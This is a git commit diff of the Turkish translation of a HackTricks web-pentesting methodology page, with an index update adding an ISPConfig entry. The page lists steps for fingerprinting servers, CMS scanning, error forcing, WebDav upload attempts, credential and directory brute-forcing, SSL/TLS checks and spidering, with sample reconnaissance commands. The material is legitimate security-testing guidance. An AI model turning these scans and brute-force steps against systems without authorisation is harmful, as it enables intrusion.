Translated ['src/network-services-pentesting/pentesting-web/ispconfig.md

This commit is contained in:
Translator 2025-08-28 14:24:54 +00:00
parent a41634fb64
commit 74aec0a8f1
5 changed files with 314 additions and 192 deletions

View File

@ -432,6 +432,7 @@
- [H2 - Java SQL database](network-services-pentesting/pentesting-web/h2-java-sql-database.md) - [H2 - Java SQL database](network-services-pentesting/pentesting-web/h2-java-sql-database.md)
- [IIS - Internet Information Services](network-services-pentesting/pentesting-web/iis-internet-information-services.md) - [IIS - Internet Information Services](network-services-pentesting/pentesting-web/iis-internet-information-services.md)
- [ImageMagick Security](network-services-pentesting/pentesting-web/imagemagick-security.md) - [ImageMagick Security](network-services-pentesting/pentesting-web/imagemagick-security.md)
- [Ispconfig](network-services-pentesting/pentesting-web/ispconfig.md)
- [JBOSS](network-services-pentesting/pentesting-web/jboss.md) - [JBOSS](network-services-pentesting/pentesting-web/jboss.md)
- [Jira & Confluence](network-services-pentesting/pentesting-web/jira.md) - [Jira & Confluence](network-services-pentesting/pentesting-web/jira.md)
- [Joomla](network-services-pentesting/pentesting-web/joomla.md) - [Joomla](network-services-pentesting/pentesting-web/joomla.md)

View File

@ -1,10 +1,10 @@
# 80,443 - Pentesting Web Methodology # 80,443 - Pentesting Web Metodolojisi
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## Temel Bilgiler ## Temel Bilgiler
Web servisi en **yaygın ve kapsamlı hizmettir** ve birçok **farklı türde zafiyet** bulunmaktadır. Web servisi en **yaygın ve kapsamlı servis** olup birçok **farklı türde vulnerabilities** bulunmaktadır.
**Varsayılan port:** 80 (HTTP), 443(HTTPS) **Varsayılan port:** 80 (HTTP), 443(HTTPS)
```bash ```bash
@ -26,46 +26,46 @@ web-api-pentesting.md
## Metodoloji özeti ## Metodoloji özeti
> Bu metodolojide, bir alan adını (veya alt alan adını) hedef alacağınızı varsayıyoruz ve sadece buna odaklanıyoruz. Bu nedenle, keşfedilen her alan adı, alt alan adı veya belirsiz web sunucusuna sahip IP için bu metodolojiyi uygulamalısınız. > Bu metodolojide yalnızca bir domain (veya subdomain) üzerinde saldırı gerçekleştireceğinizi varsayacağız. Bu yüzden, kapsam içindeki her keşfedilen domain, subdomain veya web sunucusu belirlenmemiş IP için bu metodolojiyi uygulamalısınız.
- [ ] **Kullanılan teknolojileri** **belirleyerek** başlayın. Teknolojiyi başarıyla tanımlayabilirseniz, testin geri kalanında aklınızda bulundurmanız gereken **ipuçları** arayın. - [ ] Önce web sunucusu tarafından kullanılan **teknolojileri** **tanımlayın**. Tekniği başarıyla tanımlayabilirseniz testin geri kalanında aklınızda tutmanız gereken **püf noktalarını** arayın.
- [ ] Teknolojinin sürümüne ait herhangi bir **bilinen zafiyet** var mı? - [ ] Teknolojinin sürümüne ait herhangi bir **bilinen zafiyet** var mı?
- [ ] Herhangi bir **iyi bilinen teknoloji** mi kullanılıyor? Daha fazla bilgi çıkarmak için herhangi bir **yararlı ipucu** var mı? - [ ] Herhangi bir **bilinen teknoloji** mi kullanılıyor? Daha fazla bilgi çıkarmak için herhangi bir **faydalı püf noktası** var mı?
- [ ] Çalıştırılacak herhangi bir **uzman tarayıcı** var mı (örneğin wpscan)? - [ ] Çalıştırılacak herhangi bir **özelleşmiş tarayıcı** var mı (örn. wpscan)?
- [ ] **Genel amaçlı tarayıcıları** başlatın. Ne bulacaklarını veya ilginç bilgiler bulup bulamayacaklarını asla bilemezsiniz. - [ ] Genel amaçlı **tarayıcıları** çalıştırın. Ne bulacaklarını ya da ilginç bilgi tespit edip etmeyeceklerini bilemezsiniz.
- [ ] **İlk kontrollerle** başlayın: **robots**, **sitemap**, **404** hatası ve **SSL/TLS taraması** (eğer HTTPS ise). - [ ] İlk olarak **başlangıç kontrolleri** ile başlayın: **robots**, **sitemap**, **404** hatası ve **SSL/TLS scan** (HTTPS ise).
- [ ] Web sayfasını **spidering** yapmaya başlayın: Tüm olası **dosyaları, klasörleri** ve **kullanılan parametreleri bulma** zamanı. Ayrıca, **özel bulgular** için kontrol edin. - [ ] Sayfayı **spidering** ile taramaya başlayın: Tüm olası **dosyaları**, **klasörleri** ve **kullanılan parametreleri** bulma zamanı. Ayrıca **özel bulgular** için kontrol edin.
- [ ] _Brute-forcing veya spidering sırasında yeni bir dizin keşfedildiğinde, o dizin de spidering yapılmalıdır._ - [ ] _Yeni bir dizin brute-forcing veya spidering sırasında keşfedildiğinde, o dizin spidered edilmelidir._
- [ ] **Dizin Brute-Forcing**: Keşfedilen tüm klasörleri brute force yaparak yeni **dosyalar** ve **dizinler** arayın. - [ ] **Directory Brute-Forcing**: Keşfedilen tüm klasörlerde yeni **dosyalar** ve **dizinler** aramak için brute force yapmayı deneyin.
- [ ] _Brute-forcing veya spidering sırasında yeni bir dizin keşfedildiğinde, o dizin de Brute-Forced yapılmalıdır._ - [ ] _Yeni bir dizin brute-forcing veya spidering sırasında keşfedildiğinde, Brute-Forced yapılmalıdır._
- [ ] **Yedek kontrolü**: Ortaya çıkan **dosyaların** **yedeklerini** bulup bulamayacağınızı test edin, yaygın yedek uzantılarını ekleyerek. - [ ] **Backups checking**: Ortaya çıkan **dosyaların yedeklerini** yaygın yedek uzantıları ekleyerek bulup bulamayacağınızı test edin.
- [ ] **Brute-Force parametreleri**: **Gizli parametreleri** bulmaya çalışın. - [ ] **Brute-Force parameters**: Gizli parametreleri **bulmaya** çalışın.
- [ ] Tüm olası **kullanıcı girişi** kabul eden **endpoint'leri** **belirledikten** sonra, bunlarla ilgili her türlü **zafiyeti** kontrol edin. - [ ] Tüm olası **endpoints** içinde **user input** kabul edenleri **tanımladıktan** sonra, bunlarla ilişkili tüm türde **vulnerabilities** için kontrol edin.
- [ ] [Bu kontrol listesini takip edin](../../pentesting-web/web-vulnerabilities-methodology.md) - [ ] [Bu kontrol listesini takip edin](../../pentesting-web/web-vulnerabilities-methodology.md)
## Sunucu Sürümü (Zafiyetli mi?) ## Server Version (Zayıf mı?)
### Belirleme ### Tanımlama
Çalışan sunucu **sürümü** için **bilinen zafiyetler** olup olmadığını kontrol edin.\ Çalışan sunucu **sürümü** için herhangi bir **bilinen zafiyet** olup olmadığını kontrol edin.\
**HTTP başlıkları ve yanıtın çerezleri**, kullanılan **teknolojileri** ve/veya **sürümü** **belirlemek** için çok yararlı olabilir. **Nmap taraması** sunucu sürümünü belirleyebilir, ancak [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech) veya [**https://builtwith.com/**](https://builtwith.com)** gibi araçlar da faydalı olabilir:** Yanıtın **HTTP headers and cookies**'i, kullanılan **teknolojileri** ve/veya **sürümü** tespit etmek için çok yararlı olabilir. **Nmap scan** sunucu sürümünü tespit edebilir, ancak [**whatweb**](https://github.com/urbanadventurer/WhatWeb), [**webtech**](https://github.com/ShielderSec/webtech) veya [**https://builtwith.com/**](https://builtwith.com) gibi araçlar da faydalı olabilir:
```bash ```bash
whatweb -a 1 <URL> #Stealthy whatweb -a 1 <URL> #Stealthy
whatweb -a 3 <URL> #Aggresive whatweb -a 3 <URL> #Aggresive
webtech -u <URL> webtech -u <URL>
webanalyze -host https://google.com -crawl 2 webanalyze -host https://google.com -crawl 2
``` ```
Search **for** [**web uygulamasının** **sürümündeki** **zafiyetleri**](../../generic-hacking/search-exploits.md) Ara **için** [**web uygulamasının zafiyetleri** **sürümü**](../../generic-hacking/search-exploits.md)
### **Herhangi bir WAF'yi kontrol et** ### **Herhangi bir WAF olup olmadığını kontrol edin**
- [**https://github.com/EnableSecurity/wafw00f**](https://github.com/EnableSecurity/wafw00f) - [**https://github.com/EnableSecurity/wafw00f**](https://github.com/EnableSecurity/wafw00f)
- [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git) - [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git)
- [**https://nmap.org/nsedoc/scripts/http-waf-detect.html**](https://nmap.org/nsedoc/scripts/http-waf-detect.html) - [**https://nmap.org/nsedoc/scripts/http-waf-detect.html**](https://nmap.org/nsedoc/scripts/http-waf-detect.html)
### Web teknoloji hileleri ### Web teknoloji tüyoları
Farklı iyi bilinen **teknolojilerdeki** **zafiyetleri** bulmak için bazı **hileler**: Kullanılmakta olan farklı, iyi bilinen **teknolojilerde** zafiyetleri **bulmak** için bazı **tüyolar**:
- [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md) - [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
- [**Apache**](apache.md) - [**Apache**](apache.md)
@ -77,8 +77,9 @@ Farklı iyi bilinen **teknolojilerdeki** **zafiyetleri** bulmak için bazı **hi
- [**Git**](git.md) - [**Git**](git.md)
- [**Golang**](golang.md) - [**Golang**](golang.md)
- [**GraphQL**](graphql.md) - [**GraphQL**](graphql.md)
- [**H2 - Java SQL veritabanı**](h2-java-sql-database.md) - [**H2 - Java SQL database**](h2-java-sql-database.md)
- [**IIS hileleri**](iis-internet-information-services.md) - [**ISPConfig**](ispconfig.md)
- [**IIS tricks**](iis-internet-information-services.md)
- [**Microsoft SharePoint**](microsoft-sharepoint.md) - [**Microsoft SharePoint**](microsoft-sharepoint.md)
- [**JBOSS**](jboss.md) - [**JBOSS**](jboss.md)
- [**Jenkins**](<[https:/github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/pentesting-web/broken-reference/README.md](https:/github.com/HackTricks-wiki/hacktricks-cloud/tree/master/pentesting-ci-cd/jenkins-security)/>) - [**Jenkins**](<[https:/github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/pentesting-web/broken-reference/README.md](https:/github.com/HackTricks-wiki/hacktricks-cloud/tree/master/pentesting-ci-cd/jenkins-security)/>)
@ -88,7 +89,7 @@ Farklı iyi bilinen **teknolojilerdeki** **zafiyetleri** bulmak için bazı **hi
- [**Laravel**](laravel.md) - [**Laravel**](laravel.md)
- [**Moodle**](moodle.md) - [**Moodle**](moodle.md)
- [**Nginx**](nginx.md) - [**Nginx**](nginx.md)
- [**PHP (php'nin sömürülebilecek birçok ilginç hilesi var)**](php-tricks-esp/index.html) - [**PHP (php has a lot of interesting tricks that could be exploited)**](php-tricks-esp/index.html)
- [**Python**](python.md) - [**Python**](python.md)
- [**Spring Actuators**](spring-actuators.md) - [**Spring Actuators**](spring-actuators.md)
- [**Symphony**](symphony.md) - [**Symphony**](symphony.md)
@ -98,21 +99,22 @@ Farklı iyi bilinen **teknolojilerdeki** **zafiyetleri** bulmak için bazı **hi
- [**WebDav**](put-method-webdav.md) - [**WebDav**](put-method-webdav.md)
- [**Werkzeug**](werkzeug.md) - [**Werkzeug**](werkzeug.md)
- [**Wordpress**](wordpress.md) - [**Wordpress**](wordpress.md)
- [**Electron Desktop (XSS'den RCE'ye)**](electron-desktop-apps/index.html) - [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html)
_Dikkate alın ki **aynı alan** farklı **portlar**, **klasörler** ve **alt alanlar** üzerinde **farklı teknolojiler** kullanıyor olabilir._\ _Take into account that the **same domain** can be using **different technologies** in different **ports**, **folders** and **subdomains**._\
Eğer web uygulaması daha önce listelenen herhangi bir iyi bilinen **teknoloji/platform** veya **başka bir şey** kullanıyorsa, **İnternette** yeni hileler **aramayı** unutmayın (ve bana bildirin!). Web uygulaması önceden listelenen herhangi bir iyi bilinen **teknoloji/platform** veya **başka bir şey** kullanıyorsa, yeni hileleri **İnternette aramayı** unutmayın (ve bana bildirin!).
### Kaynak Kodu İncelemesi ### Source Code Review
Eğer uygulamanın **kaynak kodu** **github**'da mevcutsa, uygulamanın **kendi başınıza bir Beyaz kutu testi** yapmanın yanı sıra, mevcut **Siyah-Kutu testi** için **bazı bilgiler** **yararlı** olabilir: Eğer uygulamanın **source code**'u **github** üzerinde erişilebilirse, uygulama üzerinde kendi başınıza bir **White box test** yapmanın yanı sıra mevcut **Black-Box testing** için faydalı olabilecek bazı bilgiler bulunabilir:
- Web üzerinden erişilebilir bir **Change-log** veya **Readme** ya da **Version** dosyası veya sürüm bilgisi içeren herhangi bir şey var mı?
- **Credentials** nasıl ve nerede saklanıyor? Erişilebilir herhangi bir **dosya** içinde credentials (kullanıcı adları veya parolalar) var mı?
- Parolalar düz metin mi, şifrelenmiş mi veya hangi **hashing** algoritması kullanılıyor?
- Bir şeyi şifrelemek için herhangi bir **master key** kullanılıyor mu? Hangi algoritma kullanılıyor?
- Bazı bir **vulnerability**'yi istismar ederek bu dosyalardan herhangi birine erişebilir misiniz?
- github'daki (çözülmüş veya çözülmemiş) **issues**'larda ilginç bilgiler var mı? Veya commit geçmişinde (belki eski bir commit içinde tanımlanmış bir parola) ilginç bir şey çıkıyor mu?
- **Web üzerinden erişilebilir** bir **Değişiklik günlüğü veya Readme veya Sürüm** dosyası veya **sürüm bilgisi** içeren bir şey var mı?
- **Kimlik bilgileri** nasıl ve nerede saklanıyor? **Kimlik bilgileri** (kullanıcı adları veya şifreler) ile ilgili herhangi bir (erişilebilir?) **dosya** var mı?
- **Şifreler** **düz metin** olarak mı, **şifrelenmiş** mi yoksa hangi **hash algoritması** kullanılıyor?
- Bir şeyi şifrelemek için herhangi bir **anahtar** kullanıyor mu? Hangi **algoritma** kullanılıyor?
- Herhangi bir zafiyeti sömürerek bu **dosyalara** erişebilir misiniz?
- **Github'da** (çözülen ve çözülmeyen) **sorularda** herhangi bir **ilginç bilgi** var mı? Ya da **commit geçmişinde** (belki eski bir commit içinde **girilmiş bir şifre**)?
{{#ref}} {{#ref}}
code-review-tools.md code-review-tools.md
@ -134,10 +136,10 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi
``` ```
#### CMS tarayıcıları #### CMS tarayıcıları
Eğer bir CMS kullanılıyorsa **bir tarayıcı çalıştırmayı** unutmayın, belki ilginç bir şey bulunur: Bir CMS kullanılıyorsa **run a scanner** yapmayı unutmayın; belki ilginç bir şey bulunur:
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\ [**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** web siteleri için güvenlik sorunları. (GUI)\ [**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** web sitelerini güvenlik sorunları için tarar. (GUI)\
[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\ [**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\
**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **veya** [**(M)oodle**](moodle.md)\ **CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **veya** [**(M)oodle**](moodle.md)\
[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md) [**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
@ -147,15 +149,15 @@ wpscan --force update -e --url <URL>
joomscan --ec -u <URL> joomscan --ec -u <URL>
joomlavs.rb #https://github.com/rastating/joomlavs joomlavs.rb #https://github.com/rastating/joomlavs
``` ```
> Bu noktada, müşterinin kullandığı web sunucusu hakkında bazı bilgilere sahip olmalısınız (eğer herhangi bir veri verilmişse) ve test sırasında aklınızda bulundurmanız gereken bazı ipuçları. Şanslıysanız, bir CMS bulmuş ve bazı tarayıcılar çalıştırmış olabilirsiniz. > Bu noktada, istemcinin kullandığı web sunucusu hakkında (veri verildiyse) bazı bilgilere ve test sırasında akılda tutulması gereken bazı püf noktalarına zaten sahip olmalısınız. Şanslıysanız bir CMS bulmuş ve bazı scanner'lar çalıştırmışsınızdır.
## Adım Adım Web Uygulaması Keşfi ## Adım adım Web Uygulama Keşfi
> Bu noktadan itibaren web uygulamasıyla etkileşime geçmeye başlayacağız. > Bu noktadan itibaren web uygulamasıyla etkileşime geçmeye başlayacağız.
### İlk Kontroller ### İlk kontroller
**İlginç bilgiler içeren varsayılan sayfalar:** **İlginç bilgi içerebilecek varsayılan sayfalar:**
- /robots.txt - /robots.txt
- /sitemap.xml - /sitemap.xml
@ -164,28 +166,28 @@ joomlavs.rb #https://github.com/rastating/joomlavs
- /.well-known/ - /.well-known/
- Ana ve ikincil sayfalardaki yorumları da kontrol edin. - Ana ve ikincil sayfalardaki yorumları da kontrol edin.
**Hataları Zorlamak** **Hataları zorlamak**
Web sunucuları, onlara garip veriler gönderildiğinde **beklenmedik şekilde davranabilir**. Bu, **açıklıkları** veya **hassas bilgilerin ifşasını** açabilir. Web sunucuları tuhaf veriler gönderildiğinde **beklenmedik şekilde davranabilir**. Bu, **güvenlik açıklarına** veya **hassas bilgilerin açığa çıkmasına** yol açabilir.
- /whatever_fake.php gibi **sahte sayfalara** erişin (.aspx, .html, vb.) - /whatever_fake.php (.aspx,.html,.etc) gibi **sahte sayfalara** erişin
- **Hata oluşturmak için** **cookie değerlerine** ve **parametre** değerlerine **"\[]", "]]" ve "\[\["** ekleyin - **"\[]", "]]", ve "\[\["** ifadelerini **cookie values** ve **parameter** values içine ekleyin, hata oluşturmak için
- **URL'nin** **sonuna** **`/~randomthing/%s`** vererek hata oluşturun - Hata üretmek için input'u URL'nin **sonuna** **`/~randomthing/%s`** olarak verin
- PATCH, DEBUG veya FAKE gibi **farklı HTTP Fiilleri** deneyin - PATCH, DEBUG gibi **farklı HTTP Verbs** deneyin veya FAKE gibi yanlış bir verb kullanın
#### **Dosya yükleyip yükleyemediğinizi kontrol edin (**[**PUT fiili, WebDav**](put-method-webdav.md)**)** #### **Dosya yükleyip yükleyemeyeceğinizi kontrol edin (**[**PUT verb, WebDav**](put-method-webdav.md)**)**
Eğer **WebDav**'ın **etkin** olduğunu ancak kök klasörde **dosya yüklemek için yeterli izinlerinizin** olmadığını bulursanız, şunları deneyin: Eğer **WebDav**'in **enabled** olduğunu fakat root klasörüne **uploading files** için yeterli izinleriniz olmadığını görürseniz şunları deneyin:
- **Kaba Kuvvet** ile kimlik bilgilerini deneyin - **Brute Force** credentials
- WebDav aracılığıyla web sayfasındaki **bulunan diğer klasörlere** **dosyalar yükleyin**. Diğer klasörlerde dosya yüklemek için izinleriniz olabilir. - Web sayfası içindeki bulunan diğer klasörlere **Upload files** via WebDav yapın. Diğer klasörlere dosya yükleme izniniz olabilir.
### **SSL/TLS ıkları** ### **SSL/TLS zafiyetleri**
- Eğer uygulama **kullanıcıyı HTTPS kullanmaya zorlamıyorsa**, o zaman **MitM saldırısına**ıktır - Uygulama herhangi bir bölümde **kullanıcıyı HTTPS kullanmaya zorlamıyorsa**, o zaman **MitM'e karşııktır**
- Eğer uygulama **hassas verileri (şifreler) HTTP kullanarak gönderiyorsa**, bu yüksek bir açığa işaret eder. - Uygulama **hassas verileri (parolalar) HTTP üzerinden gönderiyorsa**, bu yüksek riskli bir zafiyettir.
**[**testssl.sh**](https://github.com/drwetter/testssl.sh)** aracını kullanarak **açıkları** kontrol edin (Hata Ödül programlarında muhtemelen bu tür açıklar kabul edilmeyecektir) ve **[**a2sv**](https://github.com/hahwul/a2sv)** aracını kullanarak açıkları yeniden kontrol edin: Zafiyetleri kontrol etmek için [**testssl.sh**](https://github.com/drwetter/testssl.sh) kullanın (Bug Bounty programlarında muhtemelen bu tür zafiyetler kabul edilmeyecektir) ve zafiyetleri yeniden kontrol etmek için [**a2sv**](https://github.com/hahwul/a2sv) kullanın:
```bash ```bash
./testssl.sh [--htmlfile] 10.10.10.10:443 ./testssl.sh [--htmlfile] 10.10.10.10:443
#Use the --htmlfile to save the output inside an htmlfile also #Use the --htmlfile to save the output inside an htmlfile also
@ -194,65 +196,65 @@ Eğer **WebDav**'ın **etkin** olduğunu ancak kök klasörde **dosya yüklemek
sslscan <host:port> sslscan <host:port>
sslyze --regular <ip:port> sslyze --regular <ip:port>
``` ```
SSL/TLS zafiyetleri hakkında bilgi: Information about SSL/TLS vulnerabilities:
- [https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/](https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/) - [https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/](https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/)
- [https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/](https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/) - [https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/](https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/)
### Spidering ### Spidering
Web üzerinde bir tür **spider** başlatın. Spider'ın amacı, test edilen uygulamadan **mümkün olduğunca fazla yol bulmaktır**. Bu nedenle, web taraması ve harici kaynaklar kullanılarak mümkün olduğunca fazla geçerli yol bulunmalıdır. Web uygulaması üzerinde bir çeşit **spider** çalıştırın. Spider'ın amacı test edilen uygulamadan mümkün olduğunca çok yol **bulmaktır**. Bu yüzden web crawling ve harici kaynaklar kullanılarak mümkün olduğunca çok geçerli yol bulunmalıdır.
- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, JS dosyalarındaki LinkFinder ve harici kaynaklar (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com). - [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, JS dosyalarındaki LinkFinder ve harici kaynaklar (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, JS dosyaları için LinkFinder ve harici kaynak olarak Archive.org ile. - [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HTML spider, JS dosyaları için LinkFinder ve Archive.org'u harici kaynak olarak kullanır.
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, ayrıca "juicy files" gösterir. - [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider; ayrıca "juicy files" gösterir.
- [**evine** ](https://github.com/saeeddhqan/evine)(go): Etkileşimli CLI HTML spider. Ayrıca Archive.org'da arama yapar. - [**evine** ](https://github.com/saeeddhqan/evine)(go): Etkileşimli CLI HTML spider. Ayrıca Archive.org'da arama yapar.
- [**meg**](https://github.com/tomnomnom/meg) (go): Bu araç bir spider değildir ama faydalı olabilir. Sadece bir dosya ile hostları ve bir dosya ile yolları belirtebilir ve meg her hostta her yolu alır ve yanıtı kaydeder. - [**meg**](https://github.com/tomnomnom/meg) (go): Bu araç bir spider değil ama faydalı olabilir. Hosts içeren bir dosya ve path'ler içeren bir dosya belirtirsiniz; meg her host üzerindeki her path'i çeker ve yanıtı kaydeder.
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): JS render yeteneklerine sahip HTML spider. Ancak, bakımsız görünüyor, önceden derlenmiş versiyonu eski ve mevcut kod derlenmiyor. - [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): JS render yetenekli HTML spider. Ancak bakımı yapılmıyor gibi görünüyor; önceden derlenmiş sürüm eski ve mevcut kod derlenmiyor.
- [**gau**](https://github.com/lc/gau) (go): Harici sağlayıcılar (wayback, otx, commoncrawl) kullanan HTML spider. - [**gau**](https://github.com/lc/gau) (go): Harici sağlayıcıları kullanan HTML spider (wayback, otx, commoncrawl).
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Bu script, parametre içeren URL'leri bulacak ve listeleyecektir. - [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Parametre içeren URL'leri bulur ve listeler.
- [**galer**](https://github.com/dwisiswant0/galer) (go): JS render yeteneklerine sahip HTML spider. - [**galer**](https://github.com/dwisiswant0/galer) (go): JS render yetenekli HTML spider.
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, JS dosyalarında yeni yollar aramak için JS beautify yeteneklerine sahip. Ayrıca [JSScanner](https://github.com/dark-warlord14/JSScanner) adlı LinkFinder'ın bir sarmalayıcısına da göz atmak faydalı olabilir. - [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider; JS beautify yetenekleriyle JS dosyalarında yeni path'ler arayabilir. Ayrıca LinkFinder'ın bir wrapper'ı olan [JSScanner](https://github.com/dark-warlord14/JSScanner) incelenmeye değer.
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Hem HTML kaynağında hem de gömülü javascript dosyalarında uç noktaları çıkarmak için. Hata avcıları, kırmızı takım üyeleri, infosec ninja'ları için faydalı. - [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Hem HTML kaynağından hem gömülü javascript dosyalarından endpoint'leri çıkarmak için. Bug hunters, red teamer'lar ve infosec uzmanları için kullanışlı.
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): JavaScript dosyalarından göreli URL'leri ayrıştırmak için Tornado ve JSBeautifier kullanan bir python 2.7 scripti. AJAX isteklerini kolayca keşfetmek için faydalı. Bakımsız görünüyor. - [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): JavaScript dosyalarından relatif URL'leri parse etmek için Tornado ve JSBeautifier kullanan python 2.7 scripti. AJAX isteklerini kolayca keşfetmek için faydalı. Bakımı yapılmıyor gibi görünüyor.
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Verilen bir dosyadan (HTML) göreli URL'leri bulmak için şık bir düzenli ifade kullanarak çıkarır. - [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Verilen bir dosyadan (HTML) regex kullanarak minified dosyalardan relatif URL'leri bulup çıkarır.
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, çeşitli araçlar): JS dosyalarından ilginç bilgiler toplamak için çeşitli araçlar kullanır. - [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, several tools): JS dosyalarından birkaç araç kullanarak ilginç bilgiler toplar.
- [**subjs**](https://github.com/lc/subjs) (go): JS dosyalarını bulur. - [**subjs**](https://github.com/lc/subjs) (go): JS dosyalarını bulur.
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Başsız bir tarayıcıda bir sayfayı yükler ve sayfayı yüklemek için yüklenen tüm URL'leri yazdırır. - [**page-fetch**](https://github.com/detectify/page-fetch) (go): Bir sayfayı headless browser'da yükler ve sayfayı yüklemek için kullanılan tüm URL'leri yazdırır.
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Önceki araçların çeşitli seçeneklerini birleştiren içerik keşif aracı. - [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Önceki araçların çeşitli seçeneklerini harmanlayan içerik keşif aracı.
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): JS dosyalarında yol ve parametre bulmak için bir Burp uzantısı. - [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): JS dosyalarındaki path ve parametreleri bulmak için bir Burp extension.
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Verilen .js.map URL'si ile size güzelleştirilmiş JS kodunu getirir. - [**Sourcemapper**](https://github.com/denandz/sourcemapper): Verilen .js.map URL'si sayesinde beautified JS kodunu elde eden araç.
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Belirli bir hedef için uç noktaları keşfetmek için kullanılan bir araçtır. - [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Verilen hedef için endpoint'leri keşfetmek amacıyla kullanılan araç.
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Wayback makinesinden bağlantıları keşfedin (aynı zamanda yanıtları indirin ve daha fazla bağlantı arayın). - [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Wayback Machine'den linkleri keşfeder (wayback'teki yanıtları indirip daha fazla link arar).
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Form doldurarak tarama yapar ve belirli regex'ler kullanarak hassas bilgileri bulur. - [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Form doldurma dahil tarama yapar ve özel regex'lerle hassas bilgi bulur.
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite, siber güvenlik profesyonelleri için tasarlanmış gelişmiş çok özellikli GUI web güvenlik Tarayıcısı/Spider'dır. - [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite, siber güvenlik profesyonelleri için tasarlanmış gelişmiş çok özellikli GUI web güvenlik Crawler/Spider.
